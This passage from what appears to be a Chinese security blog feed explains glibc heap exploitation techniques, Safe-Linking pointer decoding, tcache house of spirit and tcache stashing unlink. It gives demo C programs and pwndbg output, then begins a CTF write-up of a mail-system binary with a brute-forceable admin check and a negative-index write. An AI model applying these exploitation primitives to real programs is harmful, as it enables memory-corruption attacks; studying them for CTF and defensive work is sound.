0x555555559310: 0x0000000000000000      0x0000000000000000
0x555555559320: 0x0000000000000000      0x0000000000000091		--&amp;gt; chunk b
0x555555559330: 0x000055500000c7f9      0x313f315503c525e4
0x555555559340: 0x0000000000000000      0x0000000000000000
0x555555559350: 0x0000000000000000      0x0000000000000000
0x555555559360: 0x0000000000000000      0x0000000000000000
0x555555559370: 0x0000000000000000      0x0000000000000000
0x555555559380: 0x0000000000000000      0x0000000000000000
0x555555559390: 0x0000000000000000      0x0000000000000000
0x5555555593a0: 0x0000000000000000      0x0000000000000000
0x5555555593b0: 0x0000000000000000      0x0000000000020c51
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在libc 2.32之后，堆管理器引入了&lt;strong&gt;Safe-Linking&lt;/strong&gt; 和 &lt;strong&gt;Tcache Key&lt;/strong&gt;保护机制：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Safe-Linking&lt;/p&gt;
&lt;p&gt;我们观察释放的chunk的fd：&lt;/p&gt;
&lt;p&gt;chunk a：0x0000000555555559&lt;/p&gt;
&lt;p&gt;chunk b：0x000055500000c7f9&lt;/p&gt;
&lt;p&gt;解密过程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Chunk b 的 fd 指针存放在地址 0x555555559330
将其右移 12 位（也就是去掉最后三个十六进制位），得到 0x555555559
内存中存储的加密值为 0x55500000c7f9
0x55500000c7f9 ^ 0x0000000555555559 = 0x5555555592a0 即chunk a的数据区

Chunk a 的 fd 指针存放在地址 0x5555555592a0 右移 12 位得到 0x555555559
内存中的加密值为 0x0000000555555559
0x0000000555555559 ^ 0x0000000555555559 = 0x0000000000000000
解密结果为 0，说明 Chunk a 是这个 Tcache 链表上的最后一个块。

def protect_ptr(pos, ptr):
    &quot;&quot;&quot;
    加密指针：用于在利用漏洞覆盖 fd 时，计算出需要写入的加密值
    :param pos: 存放该 fd 指针的内存地址 (即 堆块起始地址 + 0x10)
    :param ptr: 你真正想要 tcache 指向的目标地址 (如栈地址、__free_hook 等)
    :return: 应该写入内存的加密后数据
    &quot;&quot;&quot;
    return (pos &amp;gt;&amp;gt; 12) ^ ptr

def reveal_ptr(pos, val):
    &quot;&quot;&quot;
    解密指针：用于在泄露了堆内存后，还原出真实的下一跳地址
    :param pos: 存放该 fd 指针的内存地址
    :param val: 从内存中泄露/读取出的加密值
    :return: 真实的堆块物理地址
    &quot;&quot;&quot;
    return (pos &amp;gt;&amp;gt; 12) ^ val
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;tcache house of spirit&lt;/h4&gt;
&lt;p&gt;tcache house of spirit这种利用方式是由于tcache_put()函数检查不严格造成的，在释放的时候没有检查被释放的指针是否真的是堆块的malloc指针，如果我们构造一个size符合tcache bin size的fake_chunk，那么理论上讲其实可以将任意地址作为chunk进行释放。这里就直接采用wiki上面列出的例子进行讲解了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  1 //gcc -g -no-pie hollk.c -o hollk
  2 //patchelf --set-rpath 路径/2.27-3ubuntu1_amd64/ hollk
  3 //patchelf --set-interpreter 路径/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 hollk
  4 #include &amp;lt;stdio.h&amp;gt;
  5 #include &amp;lt;stdlib.h&amp;gt;
  6 #include &amp;lt;assert.h&amp;gt;
  7 
  8 int main()
  9 {
 10         setbuf(stdout, NULL);
 11 
 12         malloc(1);
 13 
 14         unsigned long long *a;
 15         unsigned long long fake_chunks[10];
 16 
 17         printf(&quot;fake_chunk addr is %p\n&quot;, &amp;amp;fake_chunks[0]);
 18 
 19         fake_chunks[1] = 0x40; 
 20 
 21         a = &amp;amp;fake_chunks[2];
 22 
 23         free(a);
 24 
 25         void *b = malloc(0x30);
 26         printf(&quot;malloc(0x30): %p\n&quot;, b);
 27 
 28         assert((long)b == (long)&amp;amp;fake_chunks[2]);
 29 }

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们简单的说明一下这个程序的执行流程：首先使用setbuf()函数进行初始化 ，然后创建了一个堆块，这个堆块的作用其实是为了防止后面的chunk与top chunk合并的。接下来定义了一个指针变量a，还定义了一个整型数组fake_chunk[10]。接下来打印了fake_chunk的起始地址，将fake_chunk[1]中的内容修改成了0x40。接下来将fake_chunk[2]所在地址赋给指针变量a，然后释放a。接着重新申请一个size为0x40大小的chunk，并将其malloc地址赋给指针变量b，最后打印出chunk_b的malloc地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;This region contains one fake chunk. It&apos;s size field is placed at 0x7fffffffd848
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到fake_chunk[]的起始地址为&lt;code&gt;0x7fffffffd840&lt;/code&gt;,将fake_chunk的size设置为0x40，当我们释放fake_chunk后，bin中情况如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; bins
tcachebins
0x40 [  1]: 0x7fffffffd850 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fake_chunk已经成功进入tcache中，当我们下次进行malloc一个大小为0x40的chunk时，便可以在栈中申请一个大小为0x40的chunk，进而控制程序流，不过目前感觉有点鸡肋，需要的条件太多了&lt;/p&gt;
&lt;h4&gt;tcache stashing unlink attack&lt;/h4&gt;
&lt;p&gt;首先从名字就可以看出这种方法与unlink有关，这种攻击利用的是tcache bin中有剩余（数量小于TCACHE_MAX_BINS）时，同大小的small bin会放进tcache中，这种情况可以使用calloc分配同大小堆块触发，因为calloc分配堆块时不从tcache bin中选取。在获取到一个smallbin中的一个chunk后，如果tcache任由足够空闲位置，会将剩余的smallbin挂进tcache中，在这个过程中&lt;strong&gt;只对第一个bin进行了完整性检查&lt;/strong&gt;，后面的堆块的检查缺失。当攻击者可以修改一个small bin的bk时，就可以实现在任意地址上写一个libc地址。构造得当的情况下也可以分配fake_chunk到任意地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  1 //gcc -g -no-pie hollk.c -o hollk
  2 //patchelf --set-rpath 路径/2.27-3ubuntu1_amd64/ hollk
  3 //patchelf --set-interpreter 路径/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 hollk
  4 #include &amp;lt;stdio.h&amp;gt;
  5 #include &amp;lt;stdlib.h&amp;gt;
  6 #include &amp;lt;assert.h&amp;gt;
  7 
  8 int main(){
  9     unsigned long stack_var[0x10] = {0};
 10     unsigned long *chunk_lis[0x10] = {0};
 11     unsigned long *target;
 12 
 13     setbuf(stdout, NULL);
 14     
 15     printf(&quot;stack_var addr is:%p\n&quot;,&amp;amp;stack_var[0]);
 16     printf(&quot;chunk_lis addr is:%p\n&quot;,&amp;amp;chunk_lis[0]);
 17     printf(&quot;target addr is:%p\n&quot;,(void*)target);
 18 
 19     stack_var[3] = (unsigned long)(&amp;amp;stack_var[2]);
 20 
 21     for(int i = 0;i &amp;lt; 9;i++){
 22         chunk_lis[i] = (unsigned long*)malloc(0x90);
 23     }
 24 
 25     for(int i = 3;i &amp;lt; 9;i++){
 26         free(chunk_lis[i]);
 27     }
 28     
 29     free(chunk_lis[1]);
 30     free(chunk_lis[0]);
 31     free(chunk_lis[2]);
 32     
 33     malloc(0xa0);
 34     malloc(0x90);
 35     malloc(0x90);
 36     
 37     chunk_lis[2][1] = (unsigned long)stack_var;
 38     calloc(1,0x90);
 39 
 40     target = malloc(0x90);
 41 
 42     printf(&quot;target now: %p\n&quot;,(void*)target);
 43 
 44     assert(target == &amp;amp;stack_var[2]);
 45     return 0;
 46 }

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单的描述一下这个程序的执行流程：首先创建了一个数组stack_var[0x10]，一个指针数组chunk_lis[0x10]，一个指针target。接下来调用setbuf()函数进行初始化。接着调用printf()函数打印stack_var、chunk_lis首地址及target的地址。&lt;/p&gt;
&lt;p&gt;接下来将stack_var[2]所在地址放在stack_var[3]中。接着循环创建8个size为0xa0大小的chunk，并将八个chunk的malloc指针依序放进chunk_lis[]中。然后根据chunk_lis[]中的堆块malloc指针循环释放6个已创建的chunk。接下来依序释放chunk_lis[1]、chunk_lis[0]、chunk_lis[2]中malloc指针指向的chunk。然后连续创建三个chunk，第一个size为0xb0，第二个size为0xa0，三个size为0xa0。接下来将chunk_lis[2][1]位置中的内容修改成stack_var的起始地址，接着调用calloc()函数申请一个size为0xa0大小的chunk。最后申请一个size为0xa0大小的chunk，并将其malloc指针赋给target变量，并打印target&lt;/p&gt;
&lt;p&gt;首先创建8个大小为0xa0的chunk，然后释放后5个进入tcache中，接下来依序释放chunk_lis[1]、chunk_lis[0]、chunk_lis[2]中malloc指针指向的chunk。此时由于tcache中0xa0已满，chunk0，chunk2释放到unsortedbin中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x555555559330
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x5555555593d0
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x555555559470
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x555555559510
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x5555555595b0
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x555555559650
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x5555555596f0
Size: 0xa0 (with flag bits: 0xa1)
    
    
    
    
pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555559290
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x7ffff7e1ace0
bk: 0x5555555593d0

Free chunk (tcachebins)
Addr: 0x555555559330
Size: 0xa0 (with flag bits: 0xa0)
fd: 0x55500000c2f9

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5555555593d0
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x555555559290
bk: 0x7ffff7e1ace0

Free chunk (tcachebins)
Addr: 0x555555559470
Size: 0xa0 (with flag bits: 0xa0)
fd: 0x555555559

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559510
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c1d9

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555595b0
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c079

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559650
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c099

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555596f0
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c339

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559790
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c259

Top chunk | PREV_INUSE
Addr: 0x555555559830
Size: 0x207d0 (with flag bits: 0x207d1)    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后连续创建三个chunk，第一个size为&lt;code&gt;0xb0&lt;/code&gt;，第二个size为&lt;code&gt;0xa0&lt;/code&gt;，三个size为&lt;code&gt;0xa0&lt;/code&gt;,第一个malloc(0xa0)是为了将两个freed chunk放入small bin中，接下来的两个malloc(0x90)则是为了在tcache中腾出两个位置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Free chunk (smallbins) | PREV_INUSE
Addr: 0x555555559290
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x7ffff7e1ad70
bk: 0x5555555593d0

Allocated chunk
Addr: 0x555555559330
Size: 0xa0 (with flag bits: 0xa0)

Free chunk (smallbins) | PREV_INUSE
Addr: 0x5555555593d0
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x555555559290
bk: 0x7ffff7e1ad70

Free chunk (tcachebins)
Addr: 0x555555559470
Size: 0xa0 (with flag bits: 0xa0)
fd: 0x555555559

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559510
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c1d9

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555595b0
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c079

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559650
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c099

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555596f0
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55500000c339

Allocated chunk | PREV_INUSE
Addr: 0x555555559790
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x555555559830
Size: 0xb0 (with flag bits: 0xb1)

Top chunk | PREV_INUSE
Addr: 0x5555555598e0
Size: 0x20720 (with flag bits: 0x20721)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来修改chunk3中bk地址为stack地址，这个时候我们可以看一下bin中的状况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; bins
tcachebins
0xa0 [  5]: 0x555555559700 —▸ 0x555555559660 —▸ 0x5555555595c0 —▸ 0x555555559520 —▸ 0x555555559480 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
0xa0 [corrupted]
FD: 0x5555555593d0 —▸ 0x555555559290 —▸ 0x7ffff7e1ad70 (main_arena+240) ◂— 0x5555555593d0
BK: 0x555555559290 —▸ 0x5555555593d0 —▸ 0x7fffffffd760 —▸ 0x7fffffffd770 ◂— 0
largebins
empty
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于chunk3是small bin中最后一个chunk，且chunk3的bk被修改成了stack_var的头指针，所以，stack_var会被认为是紧跟着chunk3之后释放的一个chunk：&lt;img src=&quot;https://i-blog.csdnimg.cn/blog_migrate/6158ffe8799d1a3efe3a2f4931e29d02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么接下来我们调用calloc函数申请一个size为0xa0大小的chunk：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; bins
tcachebins
0xa0 [  7]: 0x7fffffffd770 —▸ 0x5555555593e0 —▸ 0x555555559700 —▸ 0x555555559660 —▸ 0x5555555595c0 —▸ 0x555555559520 —▸ 0x555555559480 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
0xa0 [corrupted]
FD: 0x5555555593d0 ◂— 0x55500000c259
BK: 0x7fffffffd770 ◂— 0
largebins
empty
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里说明一下为什么要使用&lt;code&gt;calloc&lt;/code&gt;进行申请chunk，这是因为calloc在申请chunk的时候不会从tcache bin中摘取空闲块，如果这里使用malloc的话就会直接从tcache bin中获得空闲块了。那么在calloc申请size为0xa0大小的chunk的时候就会直接从small bin中获取，那么由于small bin是FIFO先进先出机制，所以这里被重新启用的是chunk1
这个时候就到了前面理论部分描述的内容了：在获取到一个smallbin中的一个 chunk 后会如果 tcache 仍有足够空闲位置（tcache中有两个位置，chunk3和stack_var刚好够落在这两个位置），剩下的 smallbin 从最后一个 stack_var(0x7ffffffddf0)开始顺着bk链接到 tcachebin 中 ，在这个过程中只对第一个 chunk3进行了完整性检查，后面的stack_var的检查缺失。这样一来就造成上图的效果，stack_var就被挂进了tcache bin的链表中
最后申请一个size为&lt;code&gt;0xa0&lt;/code&gt;大小的chunk，并将其malloc指针赋给target变量，并打印target：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt;
As you can see, next malloc(0x90) will return the region our fake chunk: 0x7fffffffd770
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们成功在stack中malloc一个chunk&lt;/p&gt;
</content:encoded></item><item><title>软件安全赛 -pwn MailSystem</title><link>https://huaananan.github.io/S0ras/posts/%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8%E8%B5%9Bwp/</link><guid isPermaLink="true">https://huaananan.github.io/S0ras/posts/%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8%E8%B5%9Bwp/</guid><description>赛后用AI才写出来</description><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;软件安全赛 -pwn MailSystem&lt;/h1&gt;
&lt;h3&gt;关键结构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct User {
    char inbox_mail[256];      // 0x000 (+0)   : 收件箱内容
    uint64_t draft_size;       // 0x100 (+256) : 草稿箱长度
    char draft_mail[256];      // 0x110 (+272) : 草稿箱内容
    uint64_t inbox_size;       // 0x210 (+528) : 收件箱长度

    char username[40];         // 0x298 (+664) : 用户名 (根据 login 函数推断)
    char password[32];         // 0x2C0 (+704) : 密码
    // ...
    uint64_t unread_flag;      // 0x308 (+776) : 是否有未读邮件的标志位 (1为有，0为无)
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;admin登陆验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall is_admin(char *s2, char *s1)
{
  if ( strcmp(s2, (const char *)qword_70C0 + 50) )
    return 0;
  if ( !strncmp(s1, (const char *)qword_70C0 + 104, 0x10u) )
  {
    puts(&quot;Welcome admin!&quot;);
    return 1;
  }
  else
  {
    puts(&quot;Wrong password for admin!&quot;);
    return 0;
  }
}




int sub_163B()
{
  char *v0; // rax
  int i; // [rsp+4h] [rbp-Ch]
  FILE *stream; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  sub_15D2();
  for ( i = 0; i &amp;lt;= 11; ++i )
    qword_70E0[34 * i] = time(0);
  s_0 = malloc(0x400u);
  memset(s_0, 0, 0x400u);
  if ( !s_0 )
  {
    puts(&quot;malloc error&quot;);
    exit(-1);
  }
  v0 = (char *)s_0 + 50;
  *(_DWORD *)((char *)s_0 + 50) = 1768776801;
  *((_WORD *)v0 + 2) = 110;
  stream = fopen(&quot;/dev/urandom&quot;, &quot;rb&quot;);
  if ( !stream )
  {
    puts(&quot;fopen error&quot;);
    exit(-1);
  }
  fread((char *)s_0 + 104, 1u, 0x10u, stream);
  return fclose(stream);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以知道，admin的密码是从&lt;code&gt; stream = fopen(&quot;/dev/urandom&quot;, &quot;rb&quot;);&lt;/code&gt;读出来的真随机数，我们没有办法进行预测，但是漏洞出现在验证函数中，对于密码的验证使用的是strncmp，因此当这个真随机数第一个字节是&lt;code&gt;\x00&lt;/code&gt;的时候我们只用输入&lt;code&gt;\x00&lt;/code&gt;就可以通过验证，因此我们可以对于admin登陆进行爆破&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;admin转发邮件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 user_to_user_email()
{
  int n12; // [rsp+Ch] [rbp-34h] BYREF
  int n12_1; // [rsp+10h] [rbp-30h] BYREF
  int n2; // [rsp+14h] [rbp-2Ch] BYREF
  size_t n; // [rsp+18h] [rbp-28h]
  size_t n256; // [rsp+20h] [rbp-20h]
  void *src_1; // [rsp+28h] [rbp-18h]
  void *src; // [rsp+30h] [rbp-10h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  printf(&quot;Enter source user ID (whose mail to forward): (1-12) &quot;);
  if ( (unsigned int)__isoc99_scanf(&quot;%d&quot;, &amp;amp;n12) != 1 )
  {
    puts(&quot;Invalid source user ID!&quot;);
    while ( getchar() != 10 )
      ;
    goto LABEL_40;
  }
  printf(&quot;Enter destination user ID (1-12): &quot;);
  if ( (unsigned int)__isoc99_scanf(&quot;%d&quot;, &amp;amp;n12_1) != 1 )
  {
    puts(&quot;Invalid destination user ID!&quot;);
    while ( getchar() != 10 )
      ;
    goto LABEL_40;
  }
  if ( n12 &amp;gt; 12 )
  {
    puts(&quot;Source user ID out of range!&quot;);
    putchar(10);
  }
  else if ( qword_7060[n12 - 1] )
  {
    if ( n12_1 &amp;gt; 12 )
    {
      puts(&quot;Destination user ID out of range!&quot;);
      putchar(10);
    }
    else if ( qword_7060[n12_1 - 1] )
    {
      if ( !*(_QWORD *)(qword_7060[n12_1 - 1] + 776LL)
        || (printf(&quot;Warning: User %d already has unread mail. Overwrite? (y/n): &quot;, n12_1),
            __isoc99_scanf(&quot; %c&quot;, &amp;amp;n2),
            (_BYTE)n2 == 121)
        || (_BYTE)n2 == 89 )
      {
        if ( n12 &amp;gt; 12 )
        {
LABEL_40:
          putchar(10);
          return v8 - __readfsqword(0x28u);
        }
        puts(&quot;Which mail would you like to forward?&quot;);
        puts(&quot;1. User&apos;s draft&quot;);
        puts(&quot;2. User&apos;s inbox mail&quot;);
        printf(&quot;Your choice: &quot;);
        if ( (unsigned int)__isoc99_scanf(&quot;%d&quot;, &amp;amp;n2) != 1 )
        {
          puts(&quot;Invalid input!&quot;);
          while ( getchar() != 10 )
            ;
          goto LABEL_40;
        }
        if ( n12_1 &amp;lt;= 12 )
          *(_QWORD *)(qword_7060[n12_1 - 1] + 776LL) = 1;
        if ( n2 == 1 )
        {
          if ( n12_1 &amp;lt;= 12 )
          {
            n = *(_QWORD *)(qword_7060[n12 - 1] + 256LL);
            if ( n &amp;gt; 0x100 )
              n = 256;
            src = (void *)(qword_7060[n12 - 1] + 272LL);
            memcpy((void *)qword_7060[n12_1 - 1], src, n);
            *(_QWORD *)(qword_7060[n12_1 - 1] + 528LL) = n;
          }
        }
        else
        {
          if ( n2 != 2 )
          {
            puts(&quot;Invalid choice!&quot;);
            putchar(10);
            return v8 - __readfsqword(0x28u);
          }
          if ( n12_1 &amp;lt;= 12 )
          {
            n256 = *(_QWORD *)(qword_7060[n12 - 1] + 528LL);
            if ( n256 &amp;gt; 0x100 )
              n256 = 256;
            src_1 = (void *)qword_7060[n12 - 1];
            memcpy((void *)qword_7060[n12_1 - 1], src_1, n256);
            *(_QWORD *)(qword_7060[n12_1 - 1] + 528LL) = n256;
          }
        }
        printf(&quot;Mail forwarded from index %d to index %d!\n&quot;, n12, n12_1);
      }
      else
      {
        puts(&quot;Forwarding cancelled.&quot;);
        putchar(10);
      }
    }
    else
    {
      printf(&quot;Destination user %d does not exist!\n&quot;, n12_1);
      putchar(10);
    }
  }
  else
  {
    printf(&quot;Source user %d does not exist!\n&quot;, n12);
    putchar(10);
  }
  return v8 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以看到，转发邮件的时候对于用户的索引仅仅做了&lt;code&gt; if ( n12 &amp;gt; 12 )&lt;/code&gt;的检查，n12是有符号整数，因此我们可以通过负索引修改bss段的内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.data:0000000000007000                                   ; ===========================================================================
.data:0000000000007000
.data:0000000000007000                                   ; Segment type: Pure data
.data:0000000000007000                                   ; Segment permissions: Read/Write
.data:0000000000007000                                   _data segment qword public &apos;DATA&apos; use64
.data:0000000000007000                                   assume cs:_data
.data:0000000000007000                                   ;org 7000h
.data:0000000000007000 00                                db    0
.data:0000000000007001 00                                db    0
.data:0000000000007002 00                                db    0
.data:0000000000007003 00                                db    0
.data:0000000000007004 00                                db    0
.data:0000000000007005 00                                db    0
.data:0000000000007006 00                                db    0
.data:0000000000007007 00                                db    0
.data:0000000000007008                                   ; void *off_7008
.data:0000000000007008 08 70 00 00 00 00 00 00           off_7008 dq offset off_7008             ; DATA XREF: sub_13E0+1B↑r
.data:0000000000007008                                                                           ; .data:off_7008↓o
.data:0000000000007008                                   _data ends
.data:0000000000007008
LOAD:0000000000007010                                   ; ===========================================================================
LOAD:0000000000007010
LOAD:0000000000007010                                   ; Segment type: Pure data
LOAD:0000000000007010                                   ; Segment permissions: Read/Write
LOAD:0000000000007010                                   LOAD segment mempage public &apos;DATA&apos; use64
LOAD:0000000000007010                                   assume cs:LOAD
LOAD:0000000000007010                                   ;org 7010h
LOAD:0000000000007010 ??                                unk_7010 db    ? ;                      ; DATA XREF: sub_1370↑o
LOAD:0000000000007010                                                                           ; sub_1370+7↑o
LOAD:0000000000007010                                                                           ; sub_13A0↑o
LOAD:0000000000007010                                                                           ; sub_13A0+7↑o
LOAD:0000000000007011 ??                                db    ? ;
LOAD:0000000000007012 ??                                db    ? ;
LOAD:0000000000007013 ??                                db    ? ;
LOAD:0000000000007014 ??                                db    ? ;
LOAD:0000000000007015 ??                                db    ? ;
LOAD:0000000000007016 ??                                db    ? ;
LOAD:0000000000007017 ??                                db    ? ;
LOAD:0000000000007018 ??                                db    ? ;
LOAD:0000000000007019 ??                                db    ? ;
LOAD:000000000000701A ??                                db    ? ;
LOAD:000000000000701B ??                                db    ? ;
LOAD:000000000000701C ??                                db    ? ;
LOAD:000000000000701D ??                                db    ? ;
LOAD:000000000000701E ??                                db    ? ;
LOAD:000000000000701F ??                                db    ? ;
LOAD:000000000000701F                                   LOAD ends
LOAD:000000000000701F
.bss:0000000000007020                                   ; ===========================================================================
.bss:0000000000007020
.bss:0000000000007020                                   ; Segment type: Uninitialized
.bss:0000000000007020                                   ; Segment permissions: Read/Write
.bss:0000000000007020                                   _bss segment align_32 public &apos;BSS&apos; use64
.bss:0000000000007020                                   assume cs:_bss
.bss:0000000000007020                                   ;org 7020h
.bss:0000000000007020                                   assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000007020                                   public stdout
.bss:0000000000007020                                   ; FILE *stdout
.bss:0000000000007020 ?? ?? ?? ?? ?? ?? ?? ??           stdout dq ?                             ; DATA XREF: sub_163B+2A↑r
.bss:0000000000007020                                                                           ; LOAD:0000000000008660↓o
.bss:0000000000007020                                                                           ; Copy of shared data
.bss:0000000000007028 ?? ?? ?? ?? ?? ?? ?? ??           align 10h
.bss:0000000000007030                                   public stdin
.bss:0000000000007030                                   ; FILE *stdin
.bss:0000000000007030 ?? ?? ?? ?? ?? ?? ?? ??           stdin dq ?                              ; DATA XREF: sub_163B+C↑r
.bss:0000000000007030                                                                           ; LOAD:0000000000008690↓o
.bss:0000000000007030                                                                           ; Copy of shared data
.bss:0000000000007038 ?? ?? ?? ?? ?? ?? ?? ??           align 20h
.bss:0000000000007040                                   public stderr
.bss:0000000000007040                                   ; FILE *stderr
.bss:0000000000007040 ?? ?? ?? ?? ?? ?? ?? ??           stderr dq ?                             ; DATA XREF: sub_163B+48↑r
.bss:0000000000007040                                                                           ; LOAD:00000000000086C0↓o
.bss:0000000000007040                                                                           ; Copy of shared data
.bss:0000000000007048 ??                                byte_7048 db ?                          ; DATA XREF: sub_13E0+4↑r
.bss:0000000000007048                                                                           ; sub_13E0+2C↑w
.bss:0000000000007049 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??…    align 20h
.bss:0000000000007060                                   ; _QWORD qword_7060[12]
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     qword_7060 dq 0Ch dup(?)                ; DATA XREF: sub_1429+A7↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; sub_1429+CB↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; register+1B↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; register+A6↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; register+C6↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; register+E7↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; register+146↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; sub_2040+BE↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; sub_2040+193↑o
.bss:0000000000007060 ?? ?? ?? ?? ?? ??                                                         ; sub_2040+244↑o
.bss:0000000000007060                                                                           ; sub_2040+277↑o
.bss:0000000000007060                                                                           ; sub_2040+2A4↑o
.bss:0000000000007060                                                                           ; change_user_info+97↑o
.bss:0000000000007060                                                                           ; change_user_info+DF↑o
.bss:0000000000007060                                                                           ; delete_user+97↑o
.bss:0000000000007060                                                                           ; delete_user+13E↑o ...
.bss:00000000000070C0                                   ; void *s_0
.bss:00000000000070C0 ?? ?? ?? ?? ?? ?? ?? ??           s_0 dq ?                                ; DATA XREF: sub_163B+BC↑w
.bss:00000000000070C0                                                                           ; sub_163B+C3↑r
.bss:00000000000070C0                                                                           ; sub_163B+DC↑r
.bss:00000000000070C0                                                                           ; sub_163B:loc_173C↑r
.bss:00000000000070C0                                                                           ; sub_163B:loc_1790↑r
.bss:00000000000070C0                                                                           ; is_admin+14↑r
.bss:00000000000070C0                                                                           ; is_admin+32↑r
.bss:00000000000070C8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??…    align 20h
.bss:00000000000070E0                                   ; _QWORD qword_70E0[408]
.bss:00000000000070E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     qword_70E0 dq 198h dup(?)               ; DATA XREF: sub_1429+34↑o
